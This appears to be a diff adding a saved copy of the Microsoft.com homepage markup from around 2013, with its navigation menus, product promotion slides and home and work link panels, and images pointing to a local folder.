+ <li role="menuitem"><a bi:index="10" bi:cpid="hpMenu" href="http://www.microsoft.com/en/us/sitemap.aspx">See all products</a></li>
+ </ul>
+ </div><div class="grid-unit list-of-links list-of-links-sm">
+ <h5 class="heading" bi:titleflag="t1" bi:title="t1">Business solutions</h5>
+ <ul role="menu" bi:parenttitle="t1">
+ <li role="menuitem"><a bi:index="0" bi:cpid="hpMenu" href="http://www.microsoftbusinesshub.com/Products">All Microsoft business products</a></li>
+ <li role="menuitem"><a bi:index="1" bi:cpid="hpMenu" href="http://www.microsoft.com/servers/en/us/default.aspx">All server products</a></li>
+ <li role="menuitem"><a bi:index="2" bi:cpid="hpMenu" href="http://pinpoint.microsoft.com/en-US/home?WT.mc_id=MSCOM_HP_US_NAV_PC_Solutions">Find a Partner (Pinpoint)</a></li>
+ <li role="menuitem"><a bi:index="3" bi:cpid="hpMenu" href="https://partner.microsoft.com/US/30000104">Partner Network</a></li>
+ <li role="menuitem"><a bi:index="4" bi:cpid="hpMenu" href="http://www.microsoft.com/en-us/dynamics/default.aspx">Microsoft Dynamics ERP & CRM</a></li>
+ <li role="menuitem"><a bi:index="5" bi:cpid="hpMenu" href="http://www.microsoft.com/en-us/cloud/default.aspx">Cloud services</a></li>
+ <li role="menuitem"><a bi:index="6" bi:cpid="hpMenu" href="http://www.microsoftbusinesshub.com/">Small & midsize companies</a></li>
+ <li role="menuitem"><a bi:index="7" bi:cpid="hpMenu" href="http://www.microsoft.com/enterprise">Microsoft in the enterprise</a></li>
+ </ul>
+ </div><div class="grid-unit list-of-links list-of-links-sm">
+ <h5 class="heading" bi:titleflag="t1" bi:title="t1">Developers & IT Pros</h5>
+ <ul role="menu" bi:parenttitle="t1">
+ <li role="menuitem"><a bi:index="0" bi:cpid="hpMenu" href="http://msdn.microsoft.com/en-us/default.aspx">MSDN</a></li>
+ <li role="menuitem"><a bi:index="1" bi:cpid="hpMenu" href="http://technet.microsoft.com/en-us/default.aspx">TechNet</a></li>
+ <li role="menuitem"><a bi:index="2" bi:cpid="hpMenu" href="http://www.microsoft.com/visualstudio/en-us">Visual Studio</a></li>
+ <li role="menuitem"><a bi:index="3" bi:cpid="hpMenu" href="http://www.windowsazure.com/en-us/">Windows Azure</a></li>
+ <li role="menuitem"><a bi:index="4" bi:cpid="hpMenu" href="http://www.microsoft.com/windows/windowsintune/">Windows Intune</a></li>
+ <li role="menuitem"><a bi:index="5" bi:cpid="hpMenu" href="http://www.microsoft.com/learning/en/us/default.aspx">Training & certification</a></li>
+ </ul>
+ </div>
+ </div>
+ </div>
+ </div>
+ </li>
+ <li role="menuitem" class="top-level-menuitem dropdown"><a class="top-level-link" bi:index="1" bi:track="false" bi:titleflag="t1" bi:title="t1" href="">Downloads</a>
+ <div class="dropdown-menu" bi:parenttitle="t1">
+ <div class="grid-container">
+ <div class="grid-row row-2"><div class="grid-unit list-of-links list-of-links-sm">
+ <h5 class="heading" bi:titleflag="t1" bi:title="t1">Windows</h5>
+ <ul role="menu" bi:parenttitle="t1">
+ <li role="menuitem"><a bi:index="0" bi:cpid="hpMenu" href="http://windows.microsoft.com/en-US/windows/downloads">All Windows downloads</a></li>
+ <li role="menuitem"><a bi:index="1" bi:cpid="hpMenu" href="http://windows.microsoft.com/en-US/internet-explorer/downloads/ie">Internet Explorer</a></li>
+ <li role="menuitem"><a bi:index="2" bi:cpid="hpMenu" href="http://windows.microsoft.com/en-US/windows-live/essentials-home">Windows Essentials</a></li>
+ </ul>
+ <h5 class="heading" bi:titleflag="t2" bi:title="t2">Office</h5>
+ <ul role="menu" bi:parenttitle="t2">
+ <li role="menuitem"><a bi:index="0" bi:cpid="hpMenu" href="http://office.microsoft.com/downloads">All Office downloads</a></li>
+ <li role="menuitem"><a bi:index="1" bi:cpid="hpMenu" href="http://office.microsoft.com/try">Free trials</a></li>
+ <li role="menuitem"><a bi:index="2" bi:cpid="hpMenu" href="http://office.microsoft.com/templates/">Templates</a></li>
+ <li role="menuitem"><a bi:index="3" bi:cpid="hpMenu" href="http://office.microsoft.com/images/">Clip art & media</a></li>
+ </ul>
+ </div><div class="grid-unit list-of-links list-of-links-sm">
+ <h5 class="heading" bi:titleflag="t1" bi:title="t1">More Downloads</h5>
+ <ul role="menu" bi:parenttitle="t1">
+ <li role="menuitem"><a bi:index="0" bi:cpid="hpMenu" href="http://www.microsoft.com/en-us/download/default.aspx">Download Center</a></li>
+ <li role="menuitem"><a bi:index="1" bi:cpid="hpMenu" href="http://www.update.microsoft.com/microsoftupdate">Microsoft Update</a></li>
+ <li role="menuitem"><a bi:index="2" bi:cpid="hpMenu" href="http://windows.microsoft.com/en-US/windows/downloads/service-packs">Windows Service Pack Center</a></li>
+ <li role="menuitem"><a bi:index="3" bi:cpid="hpMenu" href="http://msdn.microsoft.com/en-us/evalcenter/default.aspx">MSDN Evaluation Center</a></li>
+ <li role="menuitem"><a bi:index="4" bi:cpid="hpMenu" href="http://technet.microsoft.com/en-us/evalcenter">TechNet Evaluation Center</a></li>
+ <li role="menuitem"><a bi:index="5" bi:cpid="hpMenu" href="http://www.iegallery.com/">Internet Explorer Gallery</a></li>
+ <li role="menuitem"><a bi:index="6" bi:cpid="hpMenu" href="http://www.zune.net/en-US/">Zune</a></li>
+ </ul>
+ </div>
+ </div>
+ </div>
+ </div>
+ </li>
+ <li role="menuitem" class="top-level-menuitem dropdown"><a class="top-level-link" bi:index="2" bi:track="false" bi:titleflag="t1" bi:title="t1" href="">Security</a>
+ <div class="dropdown-menu" bi:parenttitle="t1">
+ <div class="grid-container">
+ <div class="grid-row row-1"><div class="grid-unit list-of-links list-of-links-sm">
+ <h5 class="heading" bi:titleflag="t1" bi:title="t1">Security & updates</h5>
+ <ul role="menu" bi:parenttitle="t1">
+ <li role="menuitem"><a bi:index="0" bi:cpid="hpMenu" href="http://www.microsoft.com/security/default.aspx">Security Home</a></li>
+ <li role="menuitem"><a bi:index="1" bi:cpid="hpMenu" href="http://www.update.microsoft.com/microsoftupdate">Microsoft Update</a></li>
+ <li role="menuitem"><a bi:index="2" bi:cpid="hpMenu" href="http://windows.microsoft.com/en-US/windows/products/security-essentials">Microsoft Security Essentials</a></li>
+ <li role="menuitem"><a bi:index="3" bi:cpid="hpMenu" href="http://windows.microsoft.com/en-US/windows/downloads/service-packs">Windows Service Pack Center</a></li>
+ </ul>
+ </div>
+ </div>
+ </div>
+ </div>
+ </li>
+ <li role="menuitem" class="top-level-menuitem dropdown"><a class="top-level-link" bi:index="3" bi:track="false" bi:titleflag="t1" bi:title="t1" href="">Support</a>
+ <div class="dropdown-menu" bi:parenttitle="t1">
+ <div class="grid-container">
+ <div class="grid-row row-1"><div class="grid-unit list-of-links list-of-links-sm">
+ <h5 class="heading" bi:titleflag="t1" bi:title="t1">Product Support</h5>
+ <ul role="menu" bi:parenttitle="t1">
+ <li role="menuitem"><a bi:index="0" bi:cpid="hpMenu" href="http://support.microsoft.com/">Microsoft Support home</a></li>
+ <li role="menuitem"><a bi:index="1" bi:cpid="hpMenu" href="http://www.microsoft.com/communities/forums/default.mspx">Microsoft forums</a></li>
+ <li role="menuitem"><a bi:index="2" bi:cpid="hpMenu" href="http://windows.microsoft.com/en-US/windows/help">Windows help & how-to</a></li>
+ <li role="menuitem"><a bi:index="3" bi:cpid="hpMenu" href="http://office.microsoft.com/support">Office help & how-to</a></li>
+ <li role="menuitem"><a bi:index="4" bi:cpid="hpMenu" href="http://smallbusiness.support.microsoft.com/">Support for small business</a></li>
+ <li role="menuitem"><a bi:index="5" bi:cpid="hpMenu" href="http://msdn.microsoft.com/en-us/hh361695">Support for developers</a></li>
+ <li role="menuitem"><a bi:index="6" bi:cpid="hpMenu" href="http://technet.microsoft.com/en-us/ms772425">Support for IT professionals</a></li>
+ </ul>
+ </div>
+ </div>
+ </div>
+ </div>
+ </li>
+ <li role="menuitem" class="top-level-menuitem dropdown"><a class="top-level-link" bi:index="4" bi:track="false" bi:titleflag="t1" bi:title="t1" href="">Store</a>
+ <div class="dropdown-menu" bi:parenttitle="t1">
+ <div class="grid-container">
+ <div class="grid-row row-1"><div class="grid-unit list-of-links list-of-links-sm">
+ <h5 class="heading" bi:titleflag="t1" bi:title="t1">Shop now</h5>
+ <ul role="menu" bi:parenttitle="t1">
+ <li role="menuitem"><a bi:index="0" bi:cpid="hpMenu" href="http://www.microsoftstore.com/store/msstore/home?WT.mc_id=MSCOM_HP_nav">Microsoft Store</a></li>
+ <li role="menuitem"><a bi:index="1" bi:cpid="hpMenu" href="http://www.microsoftstore.com/store/msstore/html/pbpage.Windows_8_Pro?WT.mc_id=MSCOM_HP_nav_BuyWSoftware">Windows software</a></li>
+ <li role="menuitem"><a bi:index="2" bi:cpid="hpMenu" href="http://www.microsoftstore.com/store/msstore/cat/categoryID.37286600?WT.mc_id=MSCOM_HP_US_Nav_BuyOSoftware">Office software</a></li>
+ <li role="menuitem"><a bi:index="3" bi:cpid="hpMenu" href="http://www.microsoftstore.com/store/msstore/cat/categoryID.50606600?WT.mc_id=MSCOM_HP_US_Nav_BuyXbox">Xbox</a></li>
+ <li role="menuitem"><a bi:index="4" bi:cpid="hpMenu" href="http://www.microsoft.com/licensing/default.aspx">Volume Licensing</a></li>
+ <li role="menuitem"><a bi:index="5" bi:cpid="hpMenu" href="http://content.microsoftstore.com/store/store-lookup/allstores?WT.mc_id=MSCOM_HP_storelocations">Find Store locations</a></li>
+ </ul>
+ </div>
+ </div>
+ </div>
+ </div>
+ </li>
+ </ul>
+ </div>
+</nav>
+</header><div bi:type="slideshow" class="slideshow slideshow-hero hero">
+ <ul class="slides">
+ <li style="margin-right: -100%; float: left; width: 100%; display: none;" id="slide-1" bi:index="0" selectbi="">
+<div class="heroitem light-foreground" bi:type="heroitem">
+ <div class="media" bi:parenttitle="t1">
+ <a href="http://clk.atdmt.com/MRT/go/419368222/direct/01/" bi:track="false" bi:index="0" bi:titleflag="t1" bi:linkid="F1A-GEN-132F1ENUS31193" bi:cpid="hpFeature">
+<div data-resolved="true" data-picture="" data-alt="Click in and do more with Surface. Learn more." data-dissable-swap-below="">
+ <div data-src="http://i.s-microsoft.com/global/ImageStore/PublishingImages/FY13/Asset/features/Surface_BG_0114_1600x540_EN_US.jpg"></div>
+
+ <div data-src="http://i.s-microsoft.com/global/ImageStore/PublishingImages/FY13/Asset/features/Surface_BG_0114_1024x346_EN_US.jpg" data-media="(max-device-pixel-width:1024px)"></div>
+
+ <div data-src="http://i.s-microsoft.com/global/ImageStore/PublishingImages/FY13/Asset/features/Surface_BG_0114_600x203_EN_US.jpg" data-media="(max-device-pixel-width:600px)"></div>
+
+ <div data-src="http://i.s-microsoft.com/global/ImageStore/PublishingImages/FY13/Asset/features/Surface_BG_0114_480x162_EN_US.jpg" data-media="(max-device-pixel-width:480px)"></div>
+
+ <noscript><img src="http://i.s-microsoft.com/global/ImageStore/PublishingImages/FY13/Asset/features/Surface_BG_0114_1600x540_EN_US.jpg" alt="Click in and do more with Surface. Learn more." /></noscript>
+<img data-source-index="0" src="Filer_for_microsoft/Surface_BG_0114_1600x540_EN_US.jpg" alt="Click in and do more with Surface. Learn more."></div>
+<script type="text/javascript">window.picturePolyfill.resolveLast();</script>
+ </a>
+ </div>
+ <div class="text" bi:type="cta">
+<div class="text-container">
+ <div class="box" style="background: #1570A6; color: #FFFFFF;">
+ <img class="box-img" src="Filer_for_microsoft/Surface_RetLogo_500x60.png" alt="Surface" bi:type="img" bi:parenttitle="t1">
+ <h3 class="box-title" bi:type="title" bi:title="t1" style="color: #FFFFFF;">Powerfully beautiful. Starting at $499.</h3>
+ <ul class="box-actions box-description">
+ <li><a bi:index="1" style="color:#FFFFFF;" bi:linkid="F1A-GEN-132F1ENUS31193" bi:cpid="hpFeature" href="http://clk.atdmt.com/MRT/go/419368222/direct/01/">Learn more</a></li>
+ </ul>
+ </div>
+</div>
+ </div>
+</div>
+ </li><li id="slide-2" bi:index="1" selectbi="" style="margin-right: -100%; float: left; width: 100%;">
+<div class="heroitem light-foreground" bi:type="heroitem">
+ <div class="media" bi:parenttitle="t1">
+ <a href="http://clk.atdmt.com/MRT/go/428282346/direct/01/" bi:track="false" bi:index="0" bi:titleflag="t1" bi:linkid="F2A-GEN-132W1ENUS35349" bi:cpid="hpFeature">
+<div data-resolved="true" data-picture="" data-alt="Upgrade to Windows 8 Pro for $39.99 ERP and get great app offers." data-dissable-swap-below="" data-defer="">
+ <div data-src="http://i.s-microsoft.com/global/ImageStore/PublishingImages/FY13/Asset/features/Win8OfferApps_BG_1217_1600x540_EN_US.jpg"></div>
+
+ <div data-src="http://i.s-microsoft.com/global/ImageStore/PublishingImages/FY13/Asset/features/Win8OfferApps_BG_1217_1024x346_EN_US.jpg" data-media="(max-device-pixel-width:1024px)"></div>
+
+ <div data-src="http://i.s-microsoft.com/global/ImageStore/PublishingImages/FY13/Asset/features/Win8OfferApps_BG_1217_600x203_EN_US.jpg" data-media="(max-device-pixel-width:600px)"></div>
+
+ <div data-src="http://i.s-microsoft.com/global/ImageStore/PublishingImages/FY13/Asset/features/Win8OfferApps_BG_1217_480x162_EN_US.jpg" data-media="(max-device-pixel-width:480px)"></div>
+
+ <noscript><img src="http://i.s-microsoft.com/global/ImageStore/PublishingImages/FY13/Asset/features/Win8OfferApps_BG_1217_1600x540_EN_US.jpg" alt="Upgrade to Windows 8 Pro for $39.99 ERP and get great app offers." /></noscript>
+<img data-source-index="0" src="Filer_for_microsoft/Win8OfferApps_BG_1217_1600x540_EN_US.jpg" alt="Upgrade to Windows 8 Pro for $39.99 ERP and get great app offers."></div>
+ </a>
+ </div>
+ <div class="text" bi:type="cta">
+<div class="text-container">
+ <div class="box" style="background: #BA141A; color: #FFFFFF;">
+ <img class="box-img" src="Filer_for_microsoft/Win8_RetLogo__1127_500x60_EN_US.png" alt="Upgrade to Windows 8 Pro for $39.99 ERP and get great app offers." bi:type="img" bi:parenttitle="t1">
+ <h3 class="box-title" bi:type="title" bi:title="t1" style="color: #FFFFFF;">Windows 8 Pro upgrade: $39.99 ERP and get deals on apps</h3>
+ <ul class="box-actions box-description">
+ <li><a bi:index="1" style="color:#FFFFFF;" bi:linkid="F2A-GEN-132W1ENUS35349" bi:cpid="hpFeature" href="http://clk.atdmt.com/MRT/go/428282346/direct/01/">Learn more</a></li>
+ </ul>
+ </div>
+</div>
+ </div>
+</div>
+ </li><li id="slide-3" bi:index="2" selectbi="" style="display: none; margin-right: -100%; float: left; width: 100%;">
+<div class="heroitem light-foreground" bi:type="heroitem">
+ <div class="media" bi:parenttitle="t1">
+ <a href="http://clk.atdmt.com/MRT/go/429310928/direct/01/" bi:track="false" bi:index="0" bi:titleflag="t1" bi:linkid="F3A-GEN-133C1ENUS35299" bi:cpid="hpFeature">
+<div data-resolved="true" data-picture="" data-alt="Try System Center 2012 SP1 for free." data-dissable-swap-below="" data-defer="">
+ <div data-src="http://i.s-microsoft.com/global/ImageStore/PublishingImages/FY13/Asset/features/PrCld_0114_1600x540_EN_US.jpg"></div>
+
+ <div data-src="http://i.s-microsoft.com/global/ImageStore/PublishingImages/FY13/Asset/features/PrCld_0114_1024x346_EN_US.jpg" data-media="(max-device-pixel-width:1024px)"></div>
+
+ <div data-src="http://i.s-microsoft.com/global/ImageStore/PublishingImages/FY13/Asset/features/PrCld_0114_600x203_EN_US.jpg" data-media="(max-device-pixel-width:600px)"></div>
+
+ <div data-src="http://i.s-microsoft.com/global/ImageStore/PublishingImages/FY13/Asset/features/PrCld_0114_480x162_EN_US.jpg" data-media="(max-device-pixel-width:480px)"></div>
+
+ <noscript><img src="http://i.s-microsoft.com/global/ImageStore/PublishingImages/FY13/Asset/features/PrCld_0114_1600x540_EN_US.jpg" alt="Try System Center 2012 SP1 for free." /></noscript>
+<img data-source-index="0" src="Filer_for_microsoft/PrCld_0114_1600x540_EN_US.jpg" alt="Try System Center 2012 SP1 for free."></div>
+ </a>
+ </div>
+ <div class="text" bi:type="cta">
+<div class="text-container">
+ <div class="box" style="background: #0044CC; color: #FFFFFF;">
+ <img class="box-img" src="Filer_for_microsoft/SystemCenter_NoDate_RetnaLogo_500x60.png" alt="Try System Center 2012 SP1 for free." bi:type="img" bi:parenttitle="t1">
+ <h3 class="box-title" bi:type="title" bi:title="t1" style="color: #FFFFFF;">Unlock the potential of your datacenter</h3>
+ <ul class="box-actions box-description">
+ <li><a bi:index="1" style="color:#FFFFFF;" bi:linkid="F3A-GEN-133C1ENUS35299" bi:cpid="hpFeature" href="http://clk.atdmt.com/MRT/go/429310928/direct/01/">Try System Center 2012 SP1</a></li>
+ </ul>
+ </div>
+</div>
+ </div>
+</div>
+ </li><li id="slide-4" bi:index="3" selectbi="" style="display: none; margin-right: -100%; float: left; width: 100%;">
+<div class="heroitem light-foreground" bi:type="heroitem">
+ <div class="media" bi:parenttitle="t1">
+ <a href="http://clk.atdmt.com/MRT/go/420013742/direct/01/" bi:track="false" bi:index="0" bi:titleflag="t1" bi:linkid="F4A-GEN-132P1ENUS28448" bi:cpid="hpFeature">
+<div data-resolved="true" data-picture="" data-alt="Explore Windows Phone, the smartphone reinvented around you." data-dissable-swap-below="" data-defer="">
+ <div data-src="http://i.s-microsoft.com/global/ImageStore/PublishingImages/FY13/Asset/features/WPBrand_BG_1112_1600x540_EN_US.jpg"></div>
+
+ <div data-src="http://i.s-microsoft.com/global/ImageStore/PublishingImages/FY13/Asset/features/WPBrand_BG_1112_1024x346_EN_US.jpg" data-media="(max-device-pixel-width:1024px)"></div>
+
+ <div data-src="http://i.s-microsoft.com/global/ImageStore/PublishingImages/FY13/Asset/features/WPBrand_BG_1112_600x203_EN_US.jpg" data-media="(max-device-pixel-width:600px)"></div>
+
+ <div data-src="http://i.s-microsoft.com/global/ImageStore/PublishingImages/FY13/Asset/features/WPBrand_BG_1112_480x162_EN_US.jpg" data-media="(max-device-pixel-width:480px)"></div>
+
+ <noscript><img src="http://i.s-microsoft.com/global/ImageStore/PublishingImages/FY13/Asset/features/WPBrand_BG_1112_1600x540_EN_US.jpg" alt="Explore Windows Phone, the smartphone reinvented around you." /></noscript>
+<img data-source-index="0" src="Filer_for_microsoft/WPBrand_BG_1112_1600x540_EN_US.jpg" alt="Explore Windows Phone, the smartphone reinvented around you."></div>
+ </a>
+ </div>
+ <div class="text" bi:type="cta">
+<div class="text-container">
+ <div class="box" style="background: #E51400; color: #FFFFFF;">
+ <img class="box-img" src="Filer_for_microsoft/WP_RetLogo_1112_500x60_EN_US.png" alt="Explore Windows Phone, the smartphone reinvented around you." bi:type="img" bi:parenttitle="t1">
+ <h3 class="box-title" bi:type="title" bi:title="t1" style="color: #FFFFFF;">The smartphone reinvented around you</h3>
+ <ul class="box-actions box-description">
+ <li><a bi:index="1" style="color:#FFFFFF;" bi:linkid="F4A-GEN-132P1ENUS28448" bi:cpid="hpFeature" href="http://clk.atdmt.com/MRT/go/420013742/direct/01/">Explore your choices</a></li>
+ </ul>
+ </div>
+</div>
+ </div>
+</div>
+ </li>
+ </ul>
+ <div class="navigation international" bi:track="false">
+
+ <div class="grid-container" data-title-text="Go To Slide {{idx}}"><a class="" href="http://www.microsoft.com/en-us/slide-1" title="Go To Slide 1" bi:index="0"><span aria-hidden="true" class="bi-hidetext">●</span> <span class="screen-reader-text">0</span></a><a class="active" href="http://www.microsoft.com/en-us/slide-2" title="Go To Slide 2" bi:index="1"><span aria-hidden="true" class="bi-hidetext">●</span> <span class="screen-reader-text">1</span></a><a href="http://www.microsof [...]
+ </div>
+ <div class="prev-next light-foreground" bi:track="false">
+
+ <button class="prev"><span class="icon-left" aria-hidden="true"></span><span class="screen-reader-text">Previous</span></button>
+ <button class="next"><span class="icon-right" aria-hidden="true"></span><span class="screen-reader-text">Next</span></button>
+ </div>
+</div>
+<section class="row-padded">
+ <div class="grid-container">
+ <div class="grid-row row-4 "><div class="grid-unit col-1"><div bi:type="list" class="list-of-links list-of-links-xlg list-array">
+ <h2 bi:titleflag="t1" bi:title="t1" class="heading">Discover</h2>
+ <ul bi:parenttitle="t1">
+ <li><a bi:index="0" bi:linkid="BNV-00-000000" bi:cpid="hpDiscover" href="http://windows.microsoft.com/">Windows</a>
+ </li>
+ <li><a bi:index="1" bi:linkid="BNV-00-000000" bi:cpid="hpDiscover" href="http://office.microsoft.com/">Office</a>
+ </li>
+ <li><a bi:index="2" bi:linkid="BNV-00-000000" bi:cpid="hpDiscover" href="http://www.microsoft.com/surface/en-US">Surface</a>
+ </li>
+ <li><a bi:index="3" bi:linkid="BNV-00-000000" bi:cpid="hpDiscover" href="http://www.windowsphone.com/">Windows Phone</a>
+ </li>
+ <li><a bi:index="4" bi:linkid="BNV-00-000000" bi:cpid="hpDiscover" href="http://www.xbox.com/">Xbox</a>
+ </li>
+ <li><a bi:index="5" bi:linkid="BNV-00-000000" bi:cpid="hpDiscover" href="http://www.skype.com/go/skype/?cm_mmc=MSFT%7CTRAF_B1-_-mscom-hero-us">Skype</a>
+ </li>
+ <li><a bi:index="6" bi:linkid="BNV-00-000000" bi:cpid="hpDiscover" href="http://www.bing.com/">Bing</a>
+ </li>
+ </ul>
+</div>
+ </div><div class="grid-unit col-3"><div style="display: block;" id="pivot-1" class="pivot " bi:type="pivot">
+ <h2 bi:titleflag="t1" bi:title="t1" class="heading">For home</h2>
+ <a href="#pivot-2" bi:track="false" class="pivot-switch">For work</a><div class="grid-row row-3 features"><div class="grid-unit">
+<div bi:type="highlight">
+ <a href="http://clk.atdmt.com/MRT/go/421231242/direct/01/" bi:linkid="HH1-GEN-132X2ENUS29015" bi:cpid="workHighlight">
+ <img bi:parenttitle="t1" src="Filer_for_microsoft/XboxOffer_1210_420x210_EN_US.jpg" alt="The new entertainment experience from Xbox is here." bi:mimiclink="true" bi:type="img">
+ <p bi:parenttitle="t1" bi:mimiclink="true" bi:type="desc">Xbox 360 as low as $99 with 2 yr Xbox LIVE Gold membership at $14.99/mo.</p>
+ </a>
+</div>
+ </div><div class="grid-unit">
+<div bi:type="highlight">
+ <a href="http://clk.atdmt.com/MRT/go/422085665/direct/01/" bi:linkid="HH2-GEN-132I1ENUS33272" bi:cpid="homeHighlight">
+ <img bi:parenttitle="t1" src="Filer_for_microsoft/IE_1026_420x210_EN_US.jpg" alt="Internet Explorer is fast, fluid, and perfect for touch. Learn more." bi:mimiclink="true" bi:type="img">
+ <p bi:parenttitle="t1" bi:mimiclink="true" bi:type="desc">Fast, fluid, and perfect for touch. Learn more about Internet Explorer.</p>
+ </a>
+</div>
+ </div><div class="grid-unit">
+<div bi:type="highlight">
+ <a href="http://clk.atdmt.com/MRT/go/407351367/direct/01/" bi:linkid="HH3-GEN-131M2ENUS21251" bi:cpid="homeHighlight">
+ <img bi:parenttitle="t1" src="Filer_for_microsoft/Store_1127_420x210_EN_US.jpg" alt="Shop for the technology you need at the Microsoft Store." bi:mimiclink="true" bi:type="img">
+ <p bi:parenttitle="t1" bi:mimiclink="true" bi:type="desc">Get free shipping when you shop at the Microsoft Store.</p>
+ </a>
+</div>
+ </div>
+</div><div class="grid-row row-3 "><div class="grid-unit"><div bi:type="list" class="list-of-links list-of-links-med">
+ <h3 bi:titleflag="t1" bi:title="t1" class="heading">Downloads</h3>
+ <ul bi:parenttitle="t1">
+ <li><a bi:index="0" bi:linkid="MA1-GEN-131W4ENUS22343" bi:cpid="homeModA" href="http://windows.microsoft.com/en-US/windows/downloads?WT.mc_id=MSCOM_EN_US_HP_MODHOME_131W4ENUS22343">Windows</a>
+ </li>
+ <li><a bi:index="1" bi:linkid="MA2-GEN-131O4ENUS22344" bi:cpid="homeModA" href="http://office.microsoft.com/en-us/downloads?WT.mc_id=MSCOM_EN_US_HP_MODHOME_131O4ENUS22344">Office</a>
+ </li>
+ <li><a bi:index="2" bi:linkid="MA3-GEN-132I1ENUS33272" bi:cpid="homeModA" href="http://clk.atdmt.com/MRT/go/422085667/direct/01/">Internet Explorer</a>
+ </li>
+ </ul>
+</div>
+ </div><div class="grid-unit"><div bi:type="list" class="list-of-links list-of-links-med">
+ <h3 bi:titleflag="t1" bi:title="t1" class="heading">Security & updates</h3>
+ <ul bi:parenttitle="t1">
+ <li><a bi:index="0" bi:linkid="MB1-GEN-131Z4ENUS21978" bi:cpid="homeModB" href="http://update.microsoft.com/microsoftupdate?WT.mc_id=MSCOM_EN_US_HP_MODHOME_131Z4ENUS21978">Microsoft Update</a>
+ </li>
+ <li><a bi:index="1" bi:linkid="MB2-GEN-131Z4ENUS21979" bi:cpid="homeModB" href="http://windows.microsoft.com/en-US/windows/products/security-essentials?WT.mc_id=MSCOM_EN_US_HP_MODHOME_131Z4ENUS21979">Microsoft Security Essentials</a>
+ </li>
+ <li><a bi:index="2" bi:linkid="MB3-GEN-131W4ENUS21980" bi:cpid="homeModB" href="http://windows.microsoft.com/en-US/windows/downloads/service-packs?WT.mc_id=MSCOM_EN_US_HP_MODHOME_131W4ENUS21980">Windows Service Pack Center</a>
+ </li>
+ </ul>
+</div>
+ </div><div class="grid-unit"><div bi:type="list" class="list-of-links list-of-links-med">
+ <h3 bi:titleflag="t1" bi:title="t1" class="heading">Support</h3>
+ <ul bi:parenttitle="t1">
+ <li><a bi:index="0" bi:linkid="MC1-GEN-131W4ENUS21970" bi:cpid="homeModC" href="http://windows.microsoft.com/en-us/windows/help?WT.mc_id=MSCOM_EN_US_HP_MODHOME_131W4ENUS21970">Windows help and how-to</a>
+ </li>
+ <li><a bi:index="1" bi:linkid="MC2-GEN-131O4ENUS21971" bi:cpid="homeModC" href="http://office.microsoft.com/en-us/support/?WT.mc_id=MSCOM_EN_US_HP_MODHOME_131O4ENUS21971">Office</a>
+ </li>
+ <li><a bi:index="2" bi:linkid="MC3-GEN-131Z4ENUS21977" bi:cpid="homeModC" href="http://support.microsoft.com/?WT.mc_id=MSCOM_EN_US_HP_MODHOME_131Z4ENUS21977">Find more support</a>
+ </li>
+ </ul>
+</div>
+ </div>
+</div>
+</div><div style="display: none;" id="pivot-2" class="pivot " bi:type="pivot">
+ <h2 bi:titleflag="t1" bi:title="t1" class="heading">For work</h2>
+ <a href="#pivot-1" bi:track="false" class="pivot-switch">For home</a><div class="grid-row row-3 features"><div class="grid-unit">
+<div bi:type="highlight">
+ <a href="http://clk.atdmt.com/MRT/go/418126903/direct/01/" bi:linkid="HW1-GEN-131K1ENUS30563" bi:cpid="workHighlight">
+ <img bi:parenttitle="t1" src="Filer_for_microsoft/Win8Eval_1001_420x210_EN_US.jpg" alt="Test apps and hardware on Windows 8 Enterprise free for 90 days." bi:mimiclink="true" bi:type="img">
+ <p bi:parenttitle="t1" bi:mimiclink="true" bi:type="desc">Test your apps and hardware on Windows 8 Enterprise free for 90 days.</p>
+ </a>
+</div>
+ </div><div class="grid-unit">
+<div bi:type="highlight">
+ <a href="http://clk.atdmt.com/MRT/go/424461649/direct/01/" bi:linkid="HW2-GEN-133N2ENUS33869" bi:cpid="workHighlight">
+ <img bi:parenttitle="t1" src="Filer_for_microsoft/WinIntune_1217_420x210_EN_US.jpg" alt="Try the new Windows Intune for free for 30 days." bi:mimiclink="true" bi:type="img">
+ <p bi:parenttitle="t1" bi:mimiclink="true" bi:type="desc">Say yes to BYOD. Try the new Windows Intune free for 30 days.</p>
+ </a>
+</div>
+ </div><div class="grid-unit">
+<div bi:type="highlight">
+ <a href="http://clk.atdmt.com/MRT/go/417627481/direct/01/" bi:linkid="HW3-GEN-132D2ENUS30773" bi:cpid="workHighlight">
+ <img bi:parenttitle="t1" src="Filer_for_microsoft/DynGA_1015_420x210_EN_US.jpg" alt="Unlock the potential in your people with Microsoft Dynamics." bi:mimiclink="true" bi:type="img">
+ <p bi:parenttitle="t1" bi:mimiclink="true" bi:type="desc">Microsoft Dynamics provides proactive, easy-to-use tools that adapt to the way you work.</p>
+ </a>
+</div>
+ </div>
+</div><div class="grid-row row-3 "><div class="grid-unit"><div bi:type="list" class="list-of-links list-of-links-med">
+ <h3 bi:titleflag="t1" bi:title="t1" class="heading">Downloads</h3>
+ <ul bi:parenttitle="t1">
+ <li><a bi:index="0" bi:linkid="ME1-GEN-131Z4ENUS22347" bi:cpid="workModE" href="http://msdn.microsoft.com/en-us/evalcenter/default.aspx?WT.mc_id=MSCOM_EN_US_HP_MODWORK_131Z4ENUS22347">Downloads for developers</a>
+ </li>
+ <li><a bi:index="1" bi:linkid="ME2-GEN-131Z4ENUS22346" bi:cpid="workModE" href="http://technet.microsoft.com/en-us/evalcenter?WT.mc_id=MSCOM_EN_US_HP_MODWORK_131Z4ENUS22346">Downloads for IT Pros</a>
+ </li>
+ <li><a bi:index="2" bi:linkid="ME3-GEN-131Z4ENUS22345" bi:cpid="workModE" href="http://www.microsoftbusinesshub.com/Solutions?WT.mc_id=MSCOM_EN_US_HP_MODWORK_131Z4ENUS22345">Tools and solutions for businesses</a>
+ </li>
+ <li><a bi:index="3" bi:linkid="ME4-GEN-131Z4ENUS21986" bi:cpid="workModE" href="http://www.microsoft.com/en-us/download/?WT.mc_id=MSCOM_EN_US_HP_MODWORK_131Z4ENUS21986">Find more downloads</a>
+ </li>
+ </ul>
+</div>
+ </div><div class="grid-unit"><div bi:type="list" class="list-of-links list-of-links-med">
+ <h3 bi:titleflag="t1" bi:title="t1" class="heading">Resources</h3>
+ <ul bi:parenttitle="t1">
+ <li><a bi:index="0" bi:linkid="MF1-GEN-131Z4ENUS22348" bi:cpid="workModF" href="http://technet.microsoft.com/en-us/bb421517?WT.mc_id=MSCOM_EN_US_HP_MODWORK_131Z4ENUS22348">TechCenters</a>
+ </li>
